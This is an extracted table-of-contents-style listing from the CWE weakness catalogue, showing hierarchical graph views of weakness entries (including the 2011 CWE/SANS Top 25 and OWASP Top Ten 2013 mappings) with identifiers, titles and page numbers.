  - C CWE-995: SFP Secondary Cluster: Feature (p. 1392)
    - B CWE-447: Unimplemented or Unsupported Feature in UI (p. 760)
    - B CWE-448: Obsolete Feature in UI (p. 761)
    - B CWE-449: The UI Performs the Wrong Action (p. 761)
    - B CWE-450: Multiple Interpretations of UI Input (p. 762)
    - B CWE-451: User Interface (UI) Misrepresentation of Critical Information (p. 763)
    - V CWE-549: Missing Password Field Masking (p. 887)
    - B CWE-655: Insufficient Psychological Acceptability (p. 1014)
  - C CWE-996: SFP Secondary Cluster: Security (p. 1392)
    - B CWE-356: Product UI does not Warn User of Unsafe Actions (p. 620)
    - B CWE-357: Insufficient UI Warning of Dangerous Operations (p. 621)
    - B CWE-446: UI Discrepancy for Security Feature (p. 759)
  - C CWE-997: SFP Secondary Cluster: Information Loss (p. 1392)
    - G CWE-221: Information Loss or Omission (p. 413)
    - B CWE-222: Truncation of Security-relevant Information (p. 414)
    - B CWE-223: Omission of Security-relevant Information (p. 414)
    - B CWE-224: Obscured Security-relevant Information by Alternate Name (p. 416)
- C CWE-907: SFP Primary Cluster: Other (p. 1330)
  - C CWE-975: SFP Secondary Cluster: Architecture (p. 1382)
    - B CWE-348: Use of Less Trusted Source (p. 605)
    - G CWE-359: Exposure of Private Information ('Privacy Violation') (p. 622)
    - B CWE-602: Client-Side Enforcement of Server-Side Security (p. 947)
    - G CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') (p. 985)
    - B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p. 1006)
    - B CWE-654: Reliance on a Single Factor in a Security Decision (p. 1012)
    - B CWE-656: Reliance on Security Through Obscurity (p. 1015)
    - G CWE-657: Violation of Secure Design Principles (p. 1017)
    - G CWE-671: Lack of Administrator Control over Security (p. 1038)
    - G CWE-693: Protection Mechanism Failure (p. 1074)
    - B CWE-749: Exposed Dangerous Method or Function (p. 1138)
  - C CWE-976: SFP Secondary Cluster: Compiler (p. 1382)
    - B CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p. 1129)
  - C CWE-977: SFP Secondary Cluster: Design (p. 1382)
    - B CWE-115: Misinterpretation of Input (p. 217)
    - B CWE-187: Partial Comparison (p. 357)
    - B CWE-188: Reliance on Data/Memory Layout (p. 359)
    - B CWE-193: Off-by-one Error (p. 371)
    - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p. 607)
    - G CWE-405: Asymmetric Resource Consumption (Amplification) (p. 703)
    - B CWE-406: Insufficient Control of Network Message Volume (Network Amplification) (p. 704)
    - B CWE-407: Algorithmic Complexity (p. 706)
    - B CWE-408: Incorrect Behavior Order: Early Amplification (p. 707)
    - B CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p. 708)
    - B CWE-410: Insufficient Resource Pool (p. 709)
    - B CWE-430: Deployment of Wrong Handler (p. 738)
    - B CWE-462: Duplicate Key in Associative List (Alist) (p. 779)
    - B CWE-463: Deletion of Data Structure Sentinel (p. 780)
    - B CWE-464: Addition of Data Structure Sentinel (p. 781)
    - B CWE-480: Use of Incorrect Operator (p. 809)
    - V CWE-483: Incorrect Block Delimitation (p. 815)

- B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p. 921)
- B CWE-595: Comparison of Object References Instead of Object Contents (p. 936)
- B CWE-596: Incorrect Semantic Object Comparison (p. 938)
- B CWE-618: Exposed Unsafe ActiveX Method (p. 966)
- B CWE-648: Incorrect Use of Privileged APIs (p. 1004)
- C CWE-670: Always-Incorrect Control Flow Implementation (p. 1037)
- C CWE-682: Incorrect Calculation (p. 1060)
- C CWE-691: Insufficient Control Flow Management (p. 1072)
- C CWE-696: Incorrect Behavior Order (p. 1077)
- C CWE-697: Insufficient Comparison (p. 1078)
- B CWE-698: Execution After Redirect (EAR) (p. 1079)
- C CWE-705: Incorrect Control Flow Scoping (p. 1105)
- C CWE-978: SFP Secondary Cluster: Implementation (p. 1383)
- C CWE-216: Containment Errors (Container Errors) (p. 410)
- B CWE-358: Improperly Implemented Security Check for Standard (p. 621)
- C CWE-398: Indicator of Poor Code Quality (p. 684)
- V CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 971)
- C CWE-710: Coding Standards Violation (p. 1109)

## Graph View: CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

- C** CWE-864: 2011 Top 25 - Insecure Interaction Between Components (p. 1308)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p. 742)
  - V** CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - G** CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p. 1262)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
    - B** CWE-346: Origin Validation Error (p. 602)
    - G** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B** CWE-613: Insufficient Session Expiration (p. 960)
    - G** CWE-642: External Control of Critical State Data (p. 993)
- C** CWE-865: 2011 Top 25 - Risky Resource Management (p. 1309)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - B** CWE-131: Incorrect Calculation of Buffer Size (p. 269)
  - B** CWE-134: Uncontrolled Format String (p. 277)
  - B** CWE-190: Integer Overflow or Wraparound (p. 361)
  - G** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - B** CWE-494: Download of Code Without Integrity Check (p. 835)
  - B** CWE-676: Use of Potentially Dangerous Function (p. 1044)
- C** CWE-866: 2011 Top 25 - Porous Defenses (p. 1309)
  - G** CWE-250: Execution with Unnecessary Privileges (p. 440)
  - V** CWE-306: Missing Authentication for Critical Function (p. 537)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
  - B** CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
  - G** CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
  - B** CWE-759: Use of a One-Way Hash without a Salt (p. 1153)
  - B** CWE-798: Use of Hard-coded Credentials (p. 1219)
  - B** CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1239)
  - G** CWE-862: Missing Authorization (p. 1299)
  - G** CWE-863: Incorrect Authorization (p. 1304)
- C** CWE-867: 2011 Top 25 - Weaknesses On the Cusp (p. 1310)
  - B** CWE-129: Improper Validation of Array Index (p. 258)
  - B** CWE-209: Information Exposure Through an Error Message (p. 397)
  - B** CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
  - G** CWE-330: Use of Insufficiently Random Values (p. 581)
  - G** CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  - B** CWE-456: Missing Initialization of a Variable (p. 770)
  - B** CWE-476: NULL Pointer Dereference (p. 798)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
  - G** CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
  - B** CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
  - B** CWE-772: Missing Release of Resource after Effective Lifetime (p. 1183)
  - B** CWE-805: Buffer Access with Incorrect Length Value (p. 1230)
  - B** CWE-822: Untrusted Pointer Dereference (p. 1250)
  - B** CWE-825: Expired Pointer Dereference (p. 1255)
  - B** CWE-838: Inappropriate Encoding for Output Context (p. 1277)










ⓑ CWE-841: Improper Enforcement of Behavioral Workflow (p. 1284)



## Graph View: CWE-928: Weaknesses in OWASP Top Ten (2013)

- C** CWE-929: OWASP Top Ten 2013 Category A1 - Injection (p. 1358)
  - G** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-88: Argument Injection or Modification (p. 155)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - V** CWE-564: SQL Injection: Hibernate (p. 900)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 169)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
- C** CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management (p. 1358)
  - V** CWE-256: Plaintext Storage of a Password (p. 454)
  - G** CWE-287: Improper Authentication (p. 507)
  - B** CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
  - B** CWE-522: Insufficiently Protected Credentials (p. 862)
  - V** CWE-523: Unprotected Transport of Credentials (p. 865)
  - B** CWE-613: Insufficient Session Expiration (p. 960)
  - V** CWE-620: Unverified Password Change (p. 967)
  - B** CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 989)
  - B** CWE-384: Session Fixation (p. 663)
    - B** CWE-346: Origin Validation Error (p. 602)
    - G** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B** CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- C** CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS) (p. 1359)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- C** CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References (p. 1359)
  - G** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
  - B** CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
- C** CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration (p. 1359)
  - C** CWE-16: Configuration (p. 15)
  - C** CWE-2: Environment (p. 1)
  - B** CWE-209: Information Exposure Through an Error Message (p. 397)
  - V** CWE-215: Information Exposure Through Debug Information (p. 409)
  - V** CWE-548: Information Exposure Through Directory Listing (p. 887)
- C** CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure (p. 1360)
  - C** CWE-310: Cryptographic Issues (p. 547)
  - C** CWE-320: Key Management Errors (p. 564)
  - B** CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B** CWE-312: Cleartext Storage of Sensitive Information (p. 553)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
  - B** CWE-325: Missing Required Cryptographic Step (p. 570)
  - G** CWE-326: Inadequate Encryption Strength (p. 571)
  - B** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
  - B** CWE-328: Reversible One-Way Hash (p. 578)
- C** CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control (p. 1360)
  - G** CWE-285: Improper Authorization (p. 501)
  - G** CWE-287: Improper Authentication (p. 507)



-  CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF) (p. 1361)
  -  CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
    -  CWE-346: Origin Validation Error (p. 602)
    -  CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    -  CWE-613: Insufficient Session Expiration (p. 960)
    -  CWE-642: External Control of Critical State Data (p. 993)
-  CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities (p. 1361)
-  CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards (p. 1361)
  -  CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)



- B CWE-416: Use After Free (p. 719)
- B CWE-562: Return of Stack Variable Address (p. 898)
- B CWE-839: Numeric Range Comparison Without Minimum Check (p. 1279)
- B CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p. 1287)
- C CWE-330: Use of Insufficiently Random Values (p. 581)
- V CWE-329: Not Using a Random IV with CBC Mode (p. 580)
- B CWE-331: Insufficient Entropy (p. 586)
- V CWE-332: Insufficient Entropy in PRNG (p. 587)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 588)
- B CWE-334: Small Space of Random Values (p. 589)
- V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)
- C CWE-335: PRNG Seed Error (p. 591)
- B CWE-336: Same Seed in PRNG (p. 591)
- B CWE-337: Predictable Seed in PRNG (p. 592)
- B CWE-339: Small Seed Space in PRNG (p. 595)
- B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p. 593)
- C CWE-340: Predictability Problems (p. 596)
- B CWE-341: Predictable from Observable State (p. 596)
- B CWE-342: Predictable Exact Value from Previous Values (p. 597)
- B CWE-343: Predictable Value Range from Previous Values (p. 598)
- B CWE-344: Use of Invariant Value in Dynamically Changing Context (p. 599)
- B CWE-323: Reusing a Nonce, Key Pair in Encryption (p. 568)
- B CWE-587: Assignment of a Fixed Address to a Pointer (p. 927)
- B CWE-798: Use of Hard-coded Credentials (p. 1219)
- B CWE-259: Use of Hard-coded Password (p. 459)
- B CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
- B CWE-804: Guessable CAPTCHA (p. 1229)
- C CWE-435: Interaction Error (p. 748)
- B CWE-188: Reliance on Data/Memory Layout (p. 359)
- B CWE-198: Use of Incorrect Byte Ordering (p. 383)
- B CWE-436: Interpretation Conflict (p. 749)
- B CWE-115: Misinterpretation of Input (p. 217)
- B CWE-437: Incomplete Model of Endpoint Features (p. 751)
- B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p. 756)
- V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
- V CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1007)
- V CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
- B CWE-439: Behavioral Change in New Version or Environment (p. 752)
- B CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p. 1129)
- B CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
- C CWE-664: Improper Control of a Resource Through its Lifetime (p. 1026)
- C CWE-221: Information Loss or Omission (p. 413)
- B CWE-222: Truncation of Security-relevant Information (p. 414)
- B CWE-223: Omission of Security-relevant Information (p. 414)
- B CWE-778: Insufficient Logging (p. 1193)
- B CWE-224: Obscured Security-relevant Information by Alternate Name (p. 416)
- B CWE-356: Product UI does not Warn User of Unsafe Actions (p. 620)
- B CWE-396: Declaration of Catch for Generic Exception (p. 682)
- B CWE-397: Declaration of Throws for Generic Exception (p. 683)
- B CWE-451: User Interface (UI) Misrepresentation of Critical Information (p. 763)
- C CWE-284: Improper Access Control (p. 499)
- B CWE-269: Improper Privilege Management (p. 477)
- C CWE-250: Execution with Unnecessary Privileges (p. 440)
- B CWE-266: Incorrect Privilege Assignment (p. 471)
- V CWE-520: .NET Misconfiguration: Use of Impersonation (p. 861)

- V CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 892)
- V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
- B CWE-267: Privilege Defined With Unsafe Actions (p. 473)
- V CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 971)
- B CWE-268: Privilege Chaining (p. 475)
- B CWE-270: Privilege Context Switching Error (p. 479)
- G CWE-271: Privilege Dropping / Lowering Errors (p. 480)
- B CWE-272: Least Privilege Violation (p. 482)
- B CWE-273: Improper Check for Dropped Privileges (p. 485)
- B CWE-274: Improper Handling of Insufficient Privileges (p. 487)
- B CWE-648: Incorrect Use of Privileged APIs (p. 1004)
- G CWE-282: Improper Ownership Management (p. 497)
- B CWE-283: Unverified Ownership (p. 498)
- B CWE-708: Incorrect Ownership Assignment (p. 1108)
- G CWE-285: Improper Authorization (p. 501)
- V CWE-219: Sensitive Data Under Web Root (p. 412)
- V CWE-433: Unparsed Raw Web Content Delivery (p. 741)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- V CWE-276: Incorrect Default Permissions (p. 490)
- V CWE-277: Insecure Inherited Permissions (p. 492)
- V CWE-278: Insecure Preserved Inherited Permissions (p. 493)
- V CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
- B CWE-281: Improper Preservation of Permissions (p. 496)
- B CWE-689: Permission Race Condition During Resource Copy (p. 1070)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- G CWE-862: Missing Authorization (p. 1299)
- B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- G CWE-638: Not Using Complete Mediation (p. 986)
- G CWE-424: Improper Protection of Alternate Path (p. 727)
- B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
- V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 902)
- B CWE-939: Improper Authorization in Handler for Custom URL Scheme (p. 1362)
- G CWE-863: Incorrect Authorization (p. 1304)
- B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 889)
- V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1003)
- B CWE-804: Guessable CAPTCHA (p. 1229)
- V CWE-926: Improper Export of Android Application Components (p. 1352)
- V CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1354)
- G CWE-286: Incorrect User Management (p. 507)
- B CWE-842: Placement of User into Incorrect Group (p. 1286)
- G CWE-287: Improper Authentication (p. 507)
- V CWE-261: Weak Cryptography for Passwords (p. 464)
- V CWE-262: Not Using Password Aging (p. 466)
- B CWE-263: Password Aging with Long Expiration (p. 467)
- V CWE-301: Reflection Attack in an Authentication Protocol (p. 532)
- B CWE-303: Incorrect Implementation of Authentication Algorithm (p. 535)
- V CWE-306: Missing Authentication for Critical Function (p. 537)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
- B CWE-308: Use of Single-factor Authentication (p. 544)
- B CWE-309: Use of Password System for Primary Authentication (p. 545)
- B CWE-521: Weak Password Requirements (p. 861)





- B CWE-410: Insufficient Resource Pool (p. 709)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
- V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p. 1188)
- V CWE-789: Uncontrolled Memory Allocation (p. 1211)
- B CWE-771: Missing Reference to Active Allocated Resource (p. 1182)
- V CWE-773: Missing Reference to Active File Descriptor or Handle (p. 1187)
- B CWE-772: Missing Release of Resource after Effective Lifetime (p. 1183)
- B CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)
- V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p. 1189)
- B CWE-911: Improper Update of Reference Count (p. 1335)
- B CWE-779: Logging of Excessive Data (p. 1194)
- B CWE-920: Improper Restriction of Power Consumption (p. 1347)
- B CWE-404: Improper Resource Shutdown or Release (p. 699)
- V CWE-262: Not Using Password Aging (p. 466)
- B CWE-263: Password Aging with Long Expiration (p. 467)
- V CWE-299: Improper Check for Certificate Revocation (p. 528)
- B CWE-370: Missing Check for Certificate Revocation after Initial Check (p. 649)
- B CWE-459: Incomplete Cleanup (p. 775)
- B CWE-226: Sensitive Information Uncleared Before Release (p. 417)
- V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
- V CWE-460: Improper Cleanup on Thrown Exception (p. 777)
- V CWE-568: finalize() Method Without super.finalize() (p. 905)
- B CWE-619: Dangling Database Cursor ('Cursor Injection') (p. 966)
- B CWE-763: Release of Invalid Pointer or Reference (p. 1164)
- V CWE-761: Free of Pointer not at Start of Buffer (p. 1159)
- V CWE-762: Mismatched Memory Management Routines (p. 1162)
- V CWE-590: Free of Memory not on the Heap (p. 930)
- B CWE-772: Missing Release of Resource after Effective Lifetime (p. 1183)
- B CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)
- V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p. 1189)
- B CWE-911: Improper Update of Reference Count (p. 1335)
- G CWE-405: Asymmetric Resource Consumption (Amplification) (p. 703)
- B CWE-406: Insufficient Control of Network Message Volume (Network Amplification) (p. 704)
- B CWE-407: Algorithmic Complexity (p. 706)
- B CWE-408: Incorrect Behavior Order: Early Amplification (p. 707)
- B CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p. 708)
- V CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p. 1190)
- B CWE-410: Insufficient Resource Pool (p. 709)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- V CWE-291: Reliance on IP Address for Authentication (p. 517)
- B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- V CWE-473: PHP External Variable Modification (p. 796)
- B CWE-602: Client-Side Enforcement of Server-Side Security (p. 947)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 901)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
- B CWE-603: Use of Client-Side Authentication (p. 950)
- V CWE-607: Public Static Final Field References Mutable Object (p. 953)
- B CWE-621: Variable Extraction Error (p. 969)
- G CWE-485: Insufficient Encapsulation (p. 819)
- G CWE-216: Containment Errors (Container Errors) (p. 410)
- V CWE-219: Sensitive Data Under Web Root (p. 412)

- V CWE-433: Unparsed Raw Web Content Delivery (p. 741)
- V CWE-493: Critical Public Variable Without Final Modifier (p. 833)
- V CWE-500: Public Static Field Not Marked Final (p. 845)
- V CWE-486: Comparison of Classes by Name (p. 820)
- V CWE-487: Reliance on Package-level Scope (p. 822)
- V CWE-488: Exposure of Data Element to Wrong Session (p. 823)
- B CWE-489: Leftover Debug Code (p. 824)
- V CWE-495: Private Array-Typed Field Returned From A Public Method (p. 838)
- V CWE-496: Public Data Assigned to Private Array-Typed Field (p. 839)
- V CWE-498: Cloneable Class Containing Sensitive Information (p. 842)
- V CWE-499: Serializable Class Containing Sensitive Data (p. 844)
- B CWE-501: Trust Boundary Violation (p. 846)
- V CWE-545: Use of Dynamic Class Loading (p. 884)
- V CWE-580: clone() Method Without super.clone() (p. 920)
- V CWE-594: J2EE Framework: Saving Unserializable Objects to Disk (p. 935)
- B CWE-749: Exposed Dangerous Method or Function (p. 1138)
- B CWE-618: Exposed Unsafe ActiveX Method (p. 966)
- V CWE-782: Exposed IOCTL with Insufficient Access Control (p. 1198)
- V CWE-766: Critical Variable Declared Public (p. 1170)
- V CWE-767: Access to Critical Private Variable via Public Method (p. 1172)
- C CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p. 957)
- B CWE-15: External Control of System or Configuration Setting (p. 14)
- C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
- B CWE-918: Server-Side Request Forgery (SSRF) (p. 1345)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 789)
- V CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)
- V CWE-611: Improper Restriction of XML External Entity Reference ('XXE') (p. 958)
- C CWE-73: External Control of File Name or Path (p. 109)
- B CWE-662: Improper Synchronization (p. 1024)
- B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p. 1025)
- V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
- V CWE-558: Use of getlogin() in Multithreaded Application (p. 893)
- B CWE-667: Improper Locking (p. 1032)
- B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
- B CWE-413: Improper Resource Locking (p. 713)
- V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
- B CWE-414: Missing Lock Check (p. 716)
- B CWE-609: Double-Checked Locking (p. 955)
- V CWE-764: Multiple Locks of a Critical Resource (p. 1168)
- V CWE-765: Multiple Unlocks of a Critical Resource (p. 1169)
- B CWE-832: Unlock of a Resource that is not Locked (p. 1270)
- B CWE-833: Deadlock (p. 1271)
- B CWE-820: Missing Synchronization (p. 1249)
- V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
- B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 903)
- B CWE-821: Incorrect Synchronization (p. 1250)
- V CWE-572: Call to Thread run() instead of start() (p. 910)
- V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)
- B CWE-665: Improper Initialization (p. 1027)
- B CWE-453: Insecure Default Variable Initialization (p. 766)
- B CWE-454: External Initialization of Trusted Variables or Data Stores (p. 767)
- B CWE-455: Non-exit on Failed Initialization (p. 769)
- V CWE-457: Use of Uninitialized Variable (p. 773)



- B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
- V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p. 1188)
- V CWE-789: Uncontrolled Memory Allocation (p. 1211)
- B CWE-909: Missing Initialization of Resource (p. 1332)
- B CWE-456: Missing Initialization of a Variable (p. 770)
- B CWE-666: Operation on Resource in Wrong Phase of Lifetime (p. 1031)
- V CWE-415: Double Free (p. 716)
- V CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 934)
- B CWE-605: Multiple Binds to the Same Port (p. 951)
- B CWE-672: Operation on a Resource after Expiration or Release (p. 1039)
- V CWE-298: Improper Validation of Certificate Expiration (p. 527)
- B CWE-324: Use of a Key Past its Expiration Date (p. 569)
- B CWE-562: Return of Stack Variable Address (p. 898)
- B CWE-613: Insufficient Session Expiration (p. 960)
- B CWE-825: Expired Pointer Dereference (p. 1255)
- V CWE-415: Double Free (p. 716)
- B CWE-416: Use After Free (p. 719)
- B CWE-562: Return of Stack Variable Address (p. 898)
- B CWE-826: Premature Release of Resource During Expected Lifetime (p. 1257)
- B CWE-910: Use of Expired File Descriptor (p. 1334)
- B CWE-911: Improper Update of Reference Count (p. 1335)
- B CWE-826: Premature Release of Resource During Expected Lifetime (p. 1257)
- G CWE-668: Exposure of Resource to Wrong Sphere (p. 1035)
- G CWE-200: Information Exposure (p. 384)
- V CWE-201: Information Exposure Through Sent Data (p. 387)
- G CWE-203: Information Exposure Through Discrepancy (p. 389)
- B CWE-204: Response Discrepancy Information Exposure (p. 392)
- B CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
- V CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
- V CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
- B CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
- B CWE-209: Information Exposure Through an Error Message (p. 397)
- B CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
- V CWE-535: Information Exposure Through Shell Error Message (p. 874)
- V CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 875)
- V CWE-537: Information Exposure Through Java Runtime Error Message (p. 876)
- B CWE-211: Information Exposure Through Externally-generated Error Message (p. 403)
- V CWE-550: Information Exposure Through Server Error Message (p. 888)
- B CWE-600: Uncaught Exception in Servlet (p. 941)
- G CWE-756: Missing Custom Error Page (p. 1151)
- V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
- V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
- B CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
- B CWE-213: Intentional Information Exposure (p. 407)
- V CWE-214: Information Exposure Through Process Environment (p. 408)
- V CWE-215: Information Exposure Through Debug Information (p. 409)
- V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p. 8)
- B CWE-226: Sensitive Information Uncleared Before Release (p. 417)
- V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
- G CWE-359: Exposure of Private Information ('Privacy Violation') (p. 622)
- V CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
- V CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 840)

- V CWE-498: Cloneable Class Containing Sensitive Information (p. 842)
- V CWE-499: Serializable Class Containing Sensitive Data (p. 844)
- V CWE-524: Information Exposure Through Caching (p. 866)
- V CWE-525: Information Exposure Through Browser Caching (p. 867)
- V CWE-526: Information Exposure Through Environmental Variables (p. 868)
- B CWE-538: File and Directory Information Exposure (p. 877)
  - V CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 868)
  - V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
  - V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 870)
  - V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 870)
  - V CWE-532: Information Exposure Through Log Files (p. 872)
    - V CWE-533: Information Exposure Through Server Log Files (p. 873)
    - V CWE-534: Information Exposure Through Debug Log Files (p. 874)
    - V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
  - V CWE-539: Information Exposure Through Persistent Cookies (p. 878)
  - V CWE-540: Information Exposure Through Source Code (p. 879)
    - V CWE-531: Information Exposure Through Test Code (p. 871)
    - V CWE-541: Information Exposure Through Include Source Code (p. 880)
    - V CWE-615: Information Exposure Through Comments (p. 962)
  - V CWE-548: Information Exposure Through Directory Listing (p. 887)
  - V CWE-651: Information Exposure Through WSDL File (p. 1008)
- V CWE-598: Information Exposure Through Query Strings in GET Request (p. 939)
- V CWE-612: Information Exposure Through Indexing of Private Data (p. 960)
- V CWE-219: Sensitive Data Under Web Root (p. 412)
- V CWE-433: Unparsed Raw Web Content Delivery (p. 741)
- G CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - G CWE-172: Encoding Error (p. 333)
    - V CWE-173: Improper Handling of Alternate Encoding (p. 335)
